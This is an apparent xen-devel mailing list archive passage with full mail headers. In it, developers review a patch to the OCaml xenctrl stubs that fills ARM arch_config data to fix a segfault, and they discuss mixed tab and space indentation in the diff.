On 7/28/26 5:48 PM, Andrew Cooper wrote:
> For 4.22(?). This fixes a segfault in the Ocaml runtime on ARM.
> 
> It's not a regression vs 4.21, but it is deterministic and easy to fix.
> Technically patch 1 is sufficient to fix the segfault, but producing an
> unconditional exception is almost as useless.

For both patches:

Release-Acked-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:52:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:52:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374943.1622291 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok6N-0007lH-4l; Tue, 28 Jul 2026 15:52:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374943.1622291; Tue, 28 Jul 2026 15:52:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok6N-0007lA-1X; Tue, 28 Jul 2026 15:52:19 +0000
Received: by outflank-mailman (input) for mailman id 1374943;
 Tue, 28 Jul 2026 15:52:17 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wok6L-0007kh-46
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:52:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok6K-00EqmN-7I
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:52:16 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68d011-2eae-0a2a0a5409dd-0a2a4506e7cc-42
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:52:16 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68d02f-195a-0a2a45060019-d155802cb43b-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:52:16 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-495635a85d2so39385e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:52:16 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44af19bsm84170025e9.3.2026.07.28.08.52.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:52:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785253935; x=1785858735; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=aAdNl9CghNoAF0NN1vYpFBScu6ksurMiTzJTCeyPyJI=;
        b=EDXJ8oAzTF/80ZC58ruZk0sB6m7zcDEXNk6fiIFUCTVU41iCwEQo/urFQbMqSGbq+X
         RO0QjS039dQa3ddQMN0ESYUFg+jQFRHouEbvcqRQ3t3rxlvXQrbkEGsV7vCG+xe8i1lb
         v8yC5UJCZ+KhbQLqi3rFBwRc++JL6sYUuBKZYyuk9ALUEjsz0Wc/vfACrCN4jdrFZlB1
         Ef+BQ+Y7lWa9QS0+BO8NDdbhbpGE6LrBryweDMG3wIyWX3ZH3zMp0flYesXmeFG6nMZv
         s6vc03E4vc2EHa/kdSCvQiTA6+AjfO37mIeX21iBbnZJPmPzarQk+7QWAJtYAcbEnrTk
         cYqA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785253935; x=1785858735;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=aAdNl9CghNoAF0NN1vYpFBScu6ksurMiTzJTCeyPyJI=;
        b=nAlsh2c7ZoHhs/10HxK7tscge8nog/2Brex2xdxOpLPZiWwuCjlClrx1ogOFOCGF0S
         zsjgE9GCdLvGFPMAhMYnr0DTPoth2oRDN4ee7cBwOy9t40BWbe8ZfF0f89NZolH2rATY
         w9hEyP3EHGs3xHle0hcM8jpHuQABRtGpNXHm9+luRrHBeBmytmZdlcCcoADRyD8/SMte
         5GjT7cjk0TsMoZvyp9gCZmhKykMvyx7YLbxj9DEK5zxr6Vqnf/Te3mD2srHnVo1Ys5CJ
         rXCUXf532L8CfF5STfYNwFm6WCnPnW73BxBSLQaLi3DoP7Uyombd18xkXnPdenKJTJOG
         VWAw==
X-Forwarded-Encrypted: i=1; AHgh+RrTgCcJ7RbD5hw7s7q9qgokSG/5yk5mBuAiPN2idg/34OVIdPemm4tCN5dmh49cl30SCgVaxx6Qg5g=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyIsBrfZwXUjcvIHvSobaX1WWYD1K1/pxWi55PWcuuEXU/AEG/e
	p3K3/Er14bebYNWsaaic2axVpP51oJ4LbW16hraSVX2Yt35bCGBIlD2WAcOC/XuDHw==
X-Gm-Gg: AR+sD11lfv/2Z14KvsxM4+I3kgJXVngapiEOYcY+KV+rZENFKhACg4QCs2WVvCBwzRj
	i6CMK5ia3OWXIB+VKOsY47Pd3R/0NX17R7bWakVeKFk7shSgke3aZ7EYFmtz+ucyYvy1/wvQY/g
	xfoWz4JnyytZaKepBNvnCpVHC+JHNUpK9NLXWtJfNE0kvfdq6qkU1ggvDxhrbj7CRvHn+10EoQm
	4TbXlNlN07/ye+cItF4isXP3RCVZmHybomit5eV0IViz+HbK2917HZTMAxxIh5N/FV12u26nBJb
	pizxczkpFVzeiaDyh5j/sS7BvjW/YtOu6VnWXaz54kKC4KY5+OvsE+/DCeuUpG9gvjf0+hSTR+h
	zvQMLb6kPUGZ4QcSZV/Lrl7AZjZGndS1hnYni4SBj/BSIR1llnjzMv+f+BBCpe60EsiVPNTJ9QA
	3AHT13RYErHLgjgy20mt6KqZpVC8Qf8MmpPTHNjy61+1qecPLlpzJ87fezHZbl46qmRg==
X-Received: by 2002:a05:600c:548a:b0:495:6060:d6de with SMTP id 5b1f17b1804b1-496c6581719mr31841265e9.31.1785253935592;
        Tue, 28 Jul 2026 08:52:15 -0700 (PDT)
Message-ID: <b9380d60-8e2e-456d-aec9-d5bb38050cb6@suse.com>
Date: Tue, 28 Jul 2026 17:52:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in
 domain_getinfo{,list}()
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Julian Vetter <julian.vetter@vates.tech>
Cc: Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-3-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD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fGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260728154830.67734-3-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785253936-F500977B-56E91151/0/0
X-purgate-type: clean
X-purgate-size: 1105

On 28.07.2026 17:48, Andrew Cooper wrote:
> --- a/tools/ocaml/libs/xc/xenctrl_stubs.c
> +++ b/tools/ocaml/libs/xc/xenctrl_stubs.c
> @@ -444,9 +444,21 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
>  
>  	Store_field(result, 15, tmp);
>  
> -#if defined(__i386__) || defined(__x86_64__)
> +#if defined(__arm__) || defined(__aarch64__)
>  
> -	tag = 1; /* tag x86 */
> +	tag = 0; /* tag ARM */
> +
> +        /* xen_arm_arch_domainconfig */
> +        arch_config = caml_alloc_tuple(3);
> +        Field(arch_config, 0) = Val_int(info->arch_config.gic_version);
> +        Field(arch_config, 1) = Val_int(info->arch_config.nr_spis);
> +
> +	tmp = caml_copy_int32(info->arch_config.clock_frequency);
> +        Field(arch_config, 2) = tmp;
> +
> +#elif defined(__i386__) || defined(__x86_64__)
> +
> +        tag = 1; /* tag x86 */
>  
>  	/*
>  	 * emulation_flags: x86_arch_emulation_flags list;

I know nothing about style rules or conventions here, but simply from
looking at the diff I came to wonder: Is this mix of tab vs space
indentation deliberate?

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:53:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:53:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374949.1622301 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok7F-0000D9-GR; Tue, 28 Jul 2026 15:53:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374949.1622301; Tue, 28 Jul 2026 15:53:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok7F-0000D2-DO; Tue, 28 Jul 2026 15:53:13 +0000
Received: by outflank-mailman (input) for mailman id 1374949;
 Tue, 28 Jul 2026 15:53:12 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wok7E-0000Cu-Cz
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:53:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok7D-00Bkuq-Pg
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:53:11 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a68d050-2eae-0a2a0a5409dd-0a2a4509e126-38
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:53:11 +0200
Received: from [52.101.57.21]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a68d066-be1a-0a2a45090019-346539151283-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:53:11 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by SJ0PR03MB989404.namprd03.prod.outlook.com (2603:10b6:a03:3eb::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Tue, 28 Jul
 2026 15:53:07 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0245.009; Tue, 28 Jul 2026
 15:53:07 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=YFApPQ1kCHnw1V5NxcMJENnkO6fNopja4zBITe4TQktJ8FuHy7t2aKc9hmzjNniQGrs8dC+TJiuNeVRz3nMtyqwKREsSKyUCVgDemr+BLlgw3XTnpY5OM5cULEJI9/IHvhCRrOknbRpNyMfHYLxCyaU+q3nfrAmUr+oUbSG2yZ8GyliCaN7sWYVRhc4w1Q8lI7Z1c87W4iv6e5bX0KnmULT7AuDJM51N3rtv6kX+6Tvc1Zj26PWTMwCWopg8zOgP4R/wXCdxkhc8C0E+bhGvpSAwSW07BQk2tNvgSq8madMpbtN9YyFi8KvvLNWMAfj5+YzqzReU4NJ2W2rCTLjC0Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=vVi732cu1rQbmzHKuByGEaSRP6ebxV9seoMEFUNT5DA=;
 b=Obs9s3qOu8hF6p+9FdSnNcxUZ7KG0bmrlseFnG1ig6CXozQs90WFEGe4NuzkXgpLlR9s2ObEZWNcrx9xx5jevTNNKVbnADJCGIwRJuI+0gFTUkB95mMLDbhy7dEa3RkG+ddcqUCb8uNqzdBpFLyR39tgMQ3TTfq+h298pHgvODTBGAOLdDsP1RAdHsMoXWlZ5WCBRCibOZwvcttmQrBoozsX/Im+kmH2oFAA7fgajlZf9XfDbrN+mmh938Txtz5DKKrf3jkg9Q5BtfK/FU/kA6xI0SYALiWimT4wUTdk4zMIYn598dEMkj/ghGLq25vhlt8hoD8+Fof+SSsNFlvRDg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=vVi732cu1rQbmzHKuByGEaSRP6ebxV9seoMEFUNT5DA=;
 b=iN2sVoVhBwEcfINwNPmq4rEBZvZtDUAf+0VjhYt+KWOMLUE1SvZFHrGY05oghZLrHoMPpQUMKzzpzkwSJ3MzrYC4moI0RwObBOVnJpd3yY1Ul9HT5sB4nx3hoiKX4G+X+BDweimAY1M3f9hT3E8BajaPV2/TQ5vHjNt67DNRadA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <ae1b0ff3-7e47-4893-85c6-8cf6ab0b9d6e@citrix.com>
Date: Tue, 28 Jul 2026 16:53:03 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in
 domain_getinfo{,list}()
To: Jan Beulich <jbeulich@suse.com>, Julian Vetter <julian.vetter@vates.tech>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-3-andrew.cooper3@citrix.com>
 <b9380d60-8e2e-456d-aec9-d5bb38050cb6@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14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NzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <b9380d60-8e2e-456d-aec9-d5bb38050cb6@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0273.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:195::8) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|SJ0PR03MB989404:EE_
X-MS-Office365-Filtering-Correlation-Id: 170234d2-defb-4902-4b09-08deecc0514f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|1800799024|23010399003|366016|22082099003|18002099003|6133799003|10067099003|4143699003|5023799004|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	6pfrUjJ2xyB86vVFEOB4vdbD44WlapMBYK7ne5ChCIT94OUVn9oHyb5DpORcSv8nLfz08Yf5koL34xbpvpR4lk2GE2YGCVB2gu4Z+ySKk4j9bPJD8xSK1ZyRiSCsnLxfHWUx0sT4x4NvMfnG8j5x9W/rotCtg+uA+pzz8ScnICjJhV7O1umgHKtXehEJ2ImGwyk9R75denmW8jF9Rgd8jPHUnG9E9pknjdDMhnSeBypav128HodntcVBi341TVdYm7k358JyQfI+4fyf7wzdUPYU2OiUNqUCD149EvdNMmBP66KLEqWdTNZOKx4yFDvhzZQHATCaLgFuqOknaNBG5JtAYxfp4b2MLkYIoXJ1WQ9STDPZgV1M/biTvL0r8oEZzALcgvJAB15afg8aMguVNufesNpYfoPtsSvPeBFUZeWhWjI5hE4sY5vt0Tmyk3mkZdA3KKP03wWeIx3Xq8QZVDZifgPRK+JbuRYgOMNb/KEWjym2DChI7jyTM2cSAOwHbb5SZcAdwDTd3n2i/zMeepfy0TQ9V04a28waMs1mqRypxaYBM4rAa9eVecuvRIzzK6DWZCpd9WLNUcywjUUXnTyBp8UyB2gTb6L88COtGk2RP36AfuFJogpBL6ROkw4/yNIBJudrEfn4Bx4PBI/f/3rpLXsg7E5yKpmVENufHt4=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(1800799024)(23010399003)(366016)(22082099003)(18002099003)(6133799003)(10067099003)(4143699003)(5023799004)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?cVVOQitmMldFY1JSV1I4YjdjdmRqVXpzaVcvUnhzT2c0KzdqbjFOVmJPY3JJ?=
 =?utf-8?B?ZlZMK1BmM2RSRHJTdzJ1YnR3MG9oSDgwY2VabWVvdmVxa3grZjh2Y3cwZ1lj?=
 =?utf-8?B?RmNnSjd1U3R3bEowVWlhdnl0N2hyWEVpUzlYcnFPQjc2d3hDM3RiSzBqM29t?=
 =?utf-8?B?d1AzVkdkQmE3SHN5N0tzSHB4OC9sTkZaK2VKZmZpRmNtb3JWT1M4U21OeTlH?=
 =?utf-8?B?R1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seUltTFU0?=
 =?utf-8?B?RTA4Y2JQMCtMczJyNXVsTWZWVnUxTks2dHlsQjlZbk9vZW9qUVBpeFRZNTZy?=
 =?utf-8?B?T1hrN2o2dzFheVRjemFUNVgwQWladTN5cmRXV3l1QWphWU1FV1lzQ2trQkF6?=
 =?utf-8?B?dG1vRDRTYzU0czhxcUx0eWwvU0Z2OEdWZDNOeVVqUDFSRi9DVXVheG1qa0Nk?=
 =?utf-8?B?TnQ0SlJWbGxaNjZxRWdwTXRYOUpueEJueG5tV3dFNmhQYlRodnd2c3J3OE94?=
 =?utf-8?B?Qi83RDlnbkRNK2ZhODlvVUlmUjhIZ2t2cWJoWVBtRXMydDNRVHY3emkzaG1C?=
 =?utf-8?B?UWpPRzZlWFJ6cFlOVDVwelRYM2dKeFkwaFc5WW1OYTVZSzN2VU1SUT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 170234d2-defb-4902-4b09-08deecc0514f
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 15:53:07.5909
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: KMEhoeUu47eKQHUCfZdyS5wb5+lK4bjuY/rVxcfLWFT1Xa7LYylYU7l+mVu9gqeRwOuj+ci8HU6kgz+5hoeeXe6boLh3a1dg2CnHgQes/TI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB989404
X-purgate-ID: tlsNG-bad1c0/1785253991-BC4CB034-88B411CE/0/0
X-purgate-type: clean
X-purgate-size: 1229

On 28/07/2026 4:52 pm, Jan Beulich wrote:
> On 28.07.2026 17:48, Andrew Cooper wrote:
>> --- a/tools/ocaml/libs/xc/xenctrl_stubs.c
>> +++ b/tools/ocaml/libs/xc/xenctrl_stubs.c
>> @@ -444,9 +444,21 @@ static value alloc_domaininfo(xc_domaininfo_t * info)
>>  
>>  	Store_field(result, 15, tmp);
>>  
>> -#if defined(__i386__) || defined(__x86_64__)
>> +#if defined(__arm__) || defined(__aarch64__)
>>  
>> -	tag = 1; /* tag x86 */
>> +	tag = 0; /* tag ARM */
>> +
>> +        /* xen_arm_arch_domainconfig */
>> +        arch_config = caml_alloc_tuple(3);
>> +        Field(arch_config, 0) = Val_int(info->arch_config.gic_version);
>> +        Field(arch_config, 1) = Val_int(info->arch_config.nr_spis);
>> +
>> +	tmp = caml_copy_int32(info->arch_config.clock_frequency);
>> +        Field(arch_config, 2) = tmp;
>> +
>> +#elif defined(__i386__) || defined(__x86_64__)
>> +
>> +        tag = 1; /* tag x86 */
>>  
>>  	/*
>>  	 * emulation_flags: x86_arch_emulation_flags list;
> I know nothing about style rules or conventions here, but simply from
> looking at the diff I came to wonder: Is this mix of tab vs space
> indentation deliberate?

No, unintentional.Â  I'll fix up locally.

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 15:53:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 15:53:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374955.1622310 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok7k-0000qH-Nu; Tue, 28 Jul 2026 15:53:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374955.1622310; Tue, 28 Jul 2026 15:53:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wok7k-0000qA-Kp; Tue, 28 Jul 2026 15:53:44 +0000
Received: by outflank-mailman (input) for mailman id 1374955;
 Tue, 28 Jul 2026 15:53:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wok7i-0000pE-U0
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:53:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wok7i-005Bzn-At
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 17:53:42 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68d072-bab6-0a2a0a5309dd-0a2a4506d82a-26
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:53:42 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68d085-195a-0a2a45060019-d155dd2ae8bf-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 17:53:41 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f6609c657so11576f8f.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:53:41 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fb6b0ee81sm69972f8f.17.2026.07.28.08.53.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 08:53:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
